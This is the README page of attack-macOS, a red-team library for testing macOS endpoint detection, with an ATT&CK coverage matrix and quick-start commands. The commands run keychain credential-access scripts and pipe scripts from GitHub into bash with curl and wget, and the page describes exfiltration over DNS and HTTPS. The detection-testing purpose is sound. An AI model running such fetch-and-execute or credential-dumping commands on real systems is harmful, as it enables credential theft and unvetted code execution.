Execution Workflow

ATT&CK Matrix • Key Features • Quick Start • Research Library

Attack-macOS is a library of scripts that security teams can use to evaluate macOS endpoint detection and response capabilities. This project aims to simplify the execution of Living Off The Orchard (LOObins) techniques via standalone scripts with built-in encoding, encryption, formatting, logging, and exfiltration over DNS and HTTPS/S.

Challenges

flowchart TD
    A1("🚫 Limited OSS testing tools")
    A2("⚡ Existing tools are tier II/III (advanced C2s)")
    A3("🛡️ Commercial tools focus on hardening and MDM")

    style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent

flowchart TD
    A4("📊 Limited technique and procedure coverage")
    A5("❓ Known risks are not common knowledge")
    A6("🔧 Hard to operationalize test pipelines")
  
    style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent

Solution

flowchart TD
    A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.
")
    style A1 stroke:#90EE90,stroke-width:2px,fill:transparent

Key Features

Feature	Description	Benefit
Builder Tool	Includes a YAML template, schema, and builder tool for creating new scripts with built-in argument parsing and validation. Parse Args	Eliminates script development time and reduces errors through automated validation
Modular Design	Self-contained scripts that can be used independently or combined, easily integrating with existing security test frameworks.	Enables quick deployment without complex tool chains or infrastructure changes
Standardized Help	All scripts include `--help` menus for standalone execution via custom deployment frameworks or attackmacos.sh handler.	Accelerates execution by eliminating documentation lookup and deployment confusion
macOS Native	Uses native tools and interpreters without external dependencies. See LOOBins.	Produces macOS telemetry often attrivbuted to threat actors.
MITRE ATT&CK Mapped	All scripts and arguments directly mapped to the MITRE ATT&CK framework.	Streamlines compliance reporting and threat model alignment
Logging	Built-in syslog logging capability with output formatting in JSON or CSV for analysis. Log Output	Automates evidence collection and accelerates post-test analysis
Encoding and Encryption	Multiple data encoding options and integrated encryption functions including AES-256-CBC, GPG, and XOR. Encode Output • Encrypt Output	Improves test realism by simulating actual evasion techniques
Exfiltration	Simulates data exfiltration via HTTP/S or DNS protocols. Exfiltrate Data	Tests complete attack chains to identify detection gaps in data loss prevention
CI/CD Pipeline Ready	Integrates with existing security tools, automation pipelines, and CI/CD workflows.	Enables continuous security testing without manual intervention
Caldera Integration	Native Caldera plugin for seamless integration with red team operations. Caldera Plugin	Streamlines deployment and execution in enterprise red team frameworks

Execution Workflow

flowchart TD
    A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts")
    A --> A2("🟡 JXA Scripts")
    A --> A3("🐍 Python Scripts")
    A --> A4("🦉 Swift Scripts")
    
    A1 --> B( 2: Choose Delivery Method)
    A2 --> B
    A3 --> B
    A4 --> B
    
    B --> B1("🏠 Local ")
    B --> B2("☁️ Remote from GGH</br>curl</br>wget</>osascript ")
    
    B1 --> C(3: Execute</br>T1634: Dump Keys)
    B2 --> C
    
    C --> C1("📋 Format")
    C --> C2("🔧 Encode")
    C --> C3("🔐 Encrypt")
    C --> C4("📡 Exfiltrate")
    
    C1 --> D("📋 Log and<br>🔍Analyze Events")
    C2 --> D
    C3 --> D
    C4 --> D
    
    D --> D1("🎯 Identify Endpoint</br>Detection Gaps")
    
    style A1 fill:transparent,stroke:#6140E0,stroke-width:2px
    style A2 fill:transparent,stroke:#C7B300,stroke-width:2px
    style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px
    style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px
    style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff
    style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
    style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff

MacOS ATT&CK Coverage Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command And Control	Exfiltration	Impact
_{External Remote Services}	_{Shared Modules}	_{Socket Filters}	_{Boot or Logon Initialization Scripts}	_{Socket Filters}	_{Adversary-in-the-Middle}	_{System Owner/User Discovery}	_VNC	_{Archive via Utility}	_{Socket Filters}	_{Exfiltration Over Web Service}	_{Disk Structure Wipe}
_{Compromise Software Dependencies and Development Tools}	_JavaScript	_{Boot or Logon Initialization Scripts}	_{Path Interception by PATH Environment Variable}	_{Embedded Payloads}	_{Pluggable Authentication Modules}	_{Internet Connection Discovery}	_{Taint Shared Content}	_{Screen Capture}	_{Standard Encoding}	_{Exfiltration Over Webhook}	_{Direct Network Flood}
_{Spearphishing Link}	_{Malicious File}	_{Pluggable Authentication Modules}	_{Create or Modify System Process}	_{Pluggable Authentication Modules}	_Keylogging	_{Permission Groups Discovery}	_SSH	_{Adversary-in-the-Middle}	_{Domain Generation Algorithms}	_{Scheduled Transfer}	_{External Defacement}
_{Spearphishing Attachment}	_Cron	_{Path Interception by PATH Environment Variable}	_{LC_LOAD_DYLIB Addition}	_{File/Path Exclusions}	_{Password Guessing}	_{Device Driver Discovery}	_{SSH Hijacking}	_Keylogging	_DNS	_{Exfiltration Over Other Network Medium}	_{OS Exhaustion Flood}
_{Compromise Hardware Supply Chain}	_{Scheduled Task/Job}	_{Create or Modify System Process}	_{Sudo and Sudo Caching}	_{Linux and Mac File and Directory Permissions Modification}	_{OS Credential Dumping}	_{Domain Account}	_{Remote Services}	_{Audio Capture}	_{Symmetric Cryptography}	_{Exfiltration Over Bluetooth}	_{Application Exhaustion Flood}
_{Supply Chain Compromise}	_AppleScript	_{External Remote Services}	_{Boot or Logon Autostart Execution}	_{Path Interception by PATH Environment Variable}	_{Steal Web Session Cookie}	_{Local Account}	_{Remote Service Session Hijacking}	_{Archive via Custom Method}	_{Fast Flux DNS}	_{Automated Exfiltration}	_{Disk Wipe}
_{Exploit Public-Facing Application}	_{Native API}	_{LC_LOAD_DYLIB Addition}	_Cron	_{Email Hiding Rules}	_{Securityd Memory}	_{System Checks}	_{Software Deployment Tools}	_{Email Collection}	_{Application Layer Protocol}	_{Exfiltration Over Symmetric Encrypted Non-C2 Protocol}	_{Stored Data Manipulation}
_{Content Injection}	_{Command and Scripting Interpreter}	_{Boot or Logon Autostart Execution}	_{Scheduled Task/Job}	_{Encrypted/Encoded File}	_{Password Cracking}	_{Domain Groups}	_{Exploitation of Remote Services}	_{Data from Removable Media}	_{Remote Access Software}	_{Exfiltration to Code Repository}	_{Service Stop}
_{Default Accounts}	_Launchctl	_Cron	_{Login Hook}	_Rootkit	_Keychain	_{System Service Discovery}	_{Internal Spearphishing}	_{Local Data Staging}	_{Content Injection}	_{Exfiltration Over Asymmetric Encrypted Non-C2 Protocol}	_{Application or System Exploitation}
_{Trusted Relationship}	_{XPC Services}	_{Scheduled Task/Job}	_{Process Injection}	_{Sudo and Sudo Caching}	_{Password Managers}	_{Network Sniffing}	_{Lateral Tool Transfer}	_{Automated Collection}	_{Traffic Signaling}	_{Exfiltration Over C2 Channel}	_{Runtime Data Manipulation}
_Phishing	_{User Execution}	_{Browser Extensions}	_{Launch Daemon}	_{Match Legitimate Name or Location}	_{Network Sniffing}	_{Network Share Discovery}		_{Clipboard Data}	_{Protocol Tunneling}	_{Exfiltration Over Alternative Protocol}	_{Reflection Amplification}
_{Valid Accounts}	_{Software Deployment Tools}	_{Login Hook}	_{Default Accounts}	_{Masquerade File Type}	_{Steal or Forge Kerberos Tickets}	_{Peripheral Device Discovery}		_{Remote Data Staging}	_{Mail Protocols}	_{Exfiltration over USB}	_{Service Exhaustion Flood}
_{Spearphishing Voice}	_{Unix Shell}	_{Traffic Signaling}	_Trap	_{Hide Artifacts}	_{Credentials from Password Stores}	_{System Information Discovery}		_{Data from Local System}	_{Communication Through Removable Media}	_{Exfiltration to Text Storage Sites}	_Defacement
_{Compromise Software Supply Chain}	_{Inter-Process Communication}	_{Launch Daemon}	_{Dynamic Linker Hijacking}	_{System Checks}	_{Unsecured Credentials}	_{Wi-Fi Discovery}		_{Archive via Library}	_{External Proxy}	_{Exfiltration to Cloud Storage}	_{Financial Theft}
_{Domain Accounts}	_{Exploitation for Client Execution}	_{Web Shell}	_{Abuse Elevation Control Mechanism}	_{Clear Linux or Mac System Logs}	_{Credentials from Web Browsers}	_{Application Window Discovery}		_{Archive Collected Data}	_Proxy	_{Data Transfer Size Limits}	_{Internal Defacement}
_{Hardware Additions}	_Python	_{Default Accounts}	_{Setuid and Setgid}	_{Stripped Payloads}	_{DHCP Spoofing}	_{Time Based Evasion}		_{DHCP Spoofing}	_{Dynamic Resolution}	_{Exfiltration Over Physical Medium}	_{Data Manipulation}
_{Drive-by Compromise}	_{System Services}	_Trap	_{SSH Authorized Keys}	_{Gatekeeper Bypass}	_{Private Keys}	_{Browser Information Discovery}		_{Web Portal Capture}	_{Web Service}	_{Exfiltration Over Unencrypted Non-C2 Protocol}	_{Account Access Removal}
_{Spearphishing via Service}	_{Visual Basic}	_{Dynamic Linker Hijacking}	_{Login Items}	_{Code Signing}	_{Password Spraying}	_{System Network Configuration Discovery}		_{Video Capture}	_{DNS Calculation}		_{Data Encrypted for Impact}
_{Local Accounts}	_{Malicious Link}	_{Local Account}	_Emond	_{Break Process Trees}	_{Web Portal Capture}	_{Account Discovery}		_{Email Forwarding Rule}	_{Multi-Stage Channels}		_{Endpoint Denial of Service}
	_At	_{SSH Authorized Keys}	_{Account Manipulation}	_{Clear Network Connection History and Configurations}	_{Steal or Forge Authentication Certificates}	_{File and Directory Discovery}		_{Data Staged}	_{Port Knocking}		_{Resource Hijacking}
		_{Domain Account}	_{Kernel Modules and Extensions}	_{Clear Command History}	_{Bash History}	_{System Network Connections Discovery}		_{GUI Input Capture}	_{File Transfer Protocols}		_{Transmitted Data Manipulation}
		_{Component Firmware}	_{Hijack Execution Flow}	_{Deobfuscate/Decode Files or Information}	_{Credentials In Files}	_{Virtualization/Sandbox Evasion}		_{Data from Network Shared Drive}	_{One-Way Communication}		_{Data Destruction}
		_{Pre-OS Boot}	_{Valid Accounts}	_{Impair Defenses}	_{Web Cookies}	_{Log Enumeration}		_{Input Capture}	_{Multi-hop Proxy}		_{Network Denial of Service}
		_{Login Items}	_{Exploitation for Privilege Escalation}	_Masquerading	_{Forge Web Credentials}	_{Process Discovery}		_{ARP Cache Poisoning}	_{Data Obfuscation}		_{Firmware Corruption}
		_{Port Knocking}	_{Event Triggered Execution}	_{Clear Mailbox Data}	_{Multi-Factor Authentication Request Generation}	_{User Activity Based Checks}		_{Data from Information Repositories}	_{Non-Standard Port}		_{Inhibit System Recovery}
		_{Compromise Host Software Binary}	_{Unix Shell Configuration Modification}	_{Process Injection}	_{Exploitation for Credential Access}	_{Local Groups}			_{Encrypted Channel}		_{Disk Content Wipe}
		_Emond	_{Elevated Execution with Prompt}	_{Traffic Signaling}	_{GUI Input Capture}	_{Password Policy Discovery}			_{Bidirectional Communication}		_{System Shutdown/Reboot}
		_{Account Manipulation}	_{Startup Items}	_{System Binary Proxy Execution}	_{Brute Force}	_{System Language Discovery}			_{Asymmetric Cryptography}
		_{Kernel Modules and Extensions}	_{Domain Accounts}	_Timestomp	_{Credential Stuffing}	_{System Location Discovery}			_{Non-Application Layer Protocol}
		_{Hijack Execution Flow}	_{Launch Agent}	_{Reflective Code Loading}	_{Multi-Factor Authentication}	_{Security Software Discovery}			_{Protocol Impersonation}
		_{Valid Accounts}	_{Installer Packages}	_{Ignore Process Interrupts}	_{Input Capture}	_{Remote System Discovery}			_{Domain Fronting}
		_{Multi-Factor Authentication}	_{RC Scripts}	_{Time Based Evasion}	_{ARP Cache Poisoning}	_{Network Service Discovery}			_{Data Encoding}
		_{Event Triggered Execution}	_{Re-opened Applications}	_{Disable or Modify System Firewall}	_{Multi-Factor Authentication Interception}	_{Software Discovery}			_{Non-Standard Encoding}
		_{Unix Shell Configuration Modification}	_{TCC Manipulation}	_{Electron Applications}	_{Modify Authentication Process}	_{Debugger Evasion}			_{Web Protocols}
		_{Startup Items}	_At	_{Code Signing Policy Modification}		_{System Time Discovery}			_{Ingress Tool Transfer}
		_{Domain Accounts}	_{Dylib Hijacking}	_{Binary Padding}					_{Hide Infrastructure}
		_{Launch Agent}	_{Local Accounts}	_{Default Accounts}					_{Steganography}
		_{Server Software Component}		_{Dynamic Linker Hijacking}					_{Fallback Channels}
		_{Installer Packages}		_{File and Directory Permissions Modification}					_{Internal Proxy}
		_{RC Scripts}		_{Abuse Elevation Control Mechanism}					_{Dead Drop Resolver}
		_{Create Account}		_{Setuid and Setgid}					_{Junk Data}
		_{Re-opened Applications}		_{Indicator Blocking}
		_{Power Settings}		_{Right-to-Left Override}
		_At		_{Component Firmware}
		_{Modify Authentication Process}		_{Indicator Removal}
		_{Dylib Hijacking}		_{Masquerade Task or Service}
		_{Local Accounts}		_{Plist File Modification}
				_{Pre-OS Boot}
				_{Downgrade Attack}
				_{Virtualization/Sandbox Evasion}
				_{Execution Guardrails}
				_{Port Knocking}
				_{Hidden Users}
				_{Impair Command History Logging}
				_{User Activity Based Checks}
				_{Disable or Modify Tools}
				_{Hijack Execution Flow}
				_{Indicator Removal from Tools}
				_{Valid Accounts}
				_{Resource Forking}
				_{Obfuscated Files or Information}
				_{Multi-Factor Authentication}
				_{Invalid Code Signature}
				_{Run Virtual Instance}
				_{Subvert Trust Controls}
				_{Elevated Execution with Prompt}
				_{Rename System Utilities}
				_{Spoof Security Alerting}
				_{Steganography}
				_{Domain Accounts}
				_{Install Root Certificate}
				_{Compile After Delivery}
				_{VBA Stomping}
				_{Impersonation}
				_{Hidden Window}
				_{Clear Persistence}
				_{HTML Smuggling}
				_{Command Obfuscation}
				_{File Deletion}
				_{Software Packing}
				_{Hidden File System}
				_{Debugger Evasion}
				_{Space after Filename}
				_{TCC Manipulation}
				_{Hidden Files and Directories}
				_{Environmental Keying}
				_{Modify Authentication Process}
				_{Dylib Hijacking}
				_{Local Accounts}
				_{Exploitation for Defense Evasion}

Quick Start Usage

Using attackmacos.sh Handler (Recommended)

# 1. Clone the repository
git clone https://github.com/yourusername/attack-macOS.git
cd attack-macOS

# 2. Local execution using the handler
./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s'

# 3. Remote execution using the handler
./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64'

# 4. List available TTPs for a tactic
./attackmacos/attackmacos.sh --list-local --tactic discovery
./attackmacos/attackmacos.sh --list-remote --tactic credential_access

# 5. Show banner and help
./attackmacos/attackmacos.sh --banner --help

Caldera Integration

# 1. Build and sync Caldera plugin
python cicd/build_shell_procedure.py --sync-caldera

# 2. Copy plugin to Caldera
cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/

# 3. Restart Caldera server
# Plugin abilities will be available in operations

# 4. Use with facts in Caldera
# Set fact: user.arg = "--safari --chrome --search malware"
# Execute ability: browser_history

Caldera Documentation: Caldera Plugin Guide

Local Execution (Direct)

# 1. Clone the repository
git clone https://github.com/yourusername/attack-macOS.git
cd attack-macOS

# 2. Run a technique directly
./ttp/discovery/shell/system_info.sh

# 3. Run with custom parameters
./ttp/credential_access/shell/keychain.sh --verbose --log-output --encode base64

# 4. Use the builder to create custom scripts
cd tools
python3 build_shell_procedure.py --input ../attackmacos/ttp/discovery/shell/system_info.yml --output ../custom_scripts/

Remote Execution (Direct)

# 1. Execute directly from GitHub without cloning
curl -s https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash

# 2. Download and execute with parameters
curl -s https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/credential_access/shell/keychain.sh | bash -s -- --verbose --log-output --encode base64

# 3. Execute specific technique with wget
wget -qO- https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bash

License

Apache License 2.0. LICENSE

Acknowledgements

Contributor acknowledgements and project credits Acknowledgements.md.

References

Research references see References.md.

Name		Name	Last commit message	Last commit date
Latest commit History 132 Commits
.github/ISSUE_TEMPLATE		.github/ISSUE_TEMPLATE
attackmacos		attackmacos
cicd		cicd
docs		docs
integrations		integrations
.gitignore		.gitignore
LICENSE.md		LICENSE.md
README.md		README.md
attackmacos.sh		attackmacos.sh

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Repository files navigation

Challenges

Solution

Key Features

Execution Workflow

MacOS ATT&CK Coverage Matrix

Quick Start Usage

Using attackmacos.sh Handler (Recommended)

Caldera Integration

Local Execution (Direct)

Remote Execution (Direct)

License

Acknowledgements

References

About

Uh oh!

Releases

Packages

Uh oh!

Languages

License

armadoinc/attack-macOS

Folders and files

Latest commit

History

Repository files navigation

Challenges

Solution

Key Features

Execution Workflow

MacOS ATT&CK Coverage Matrix

Quick Start Usage

Using attackmacos.sh Handler (Recommended)

Caldera Integration

Local Execution (Direct)

Remote Execution (Direct)

License

Acknowledgements

References

About

Topics

Resources

License

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Uh oh!

Languages

Packages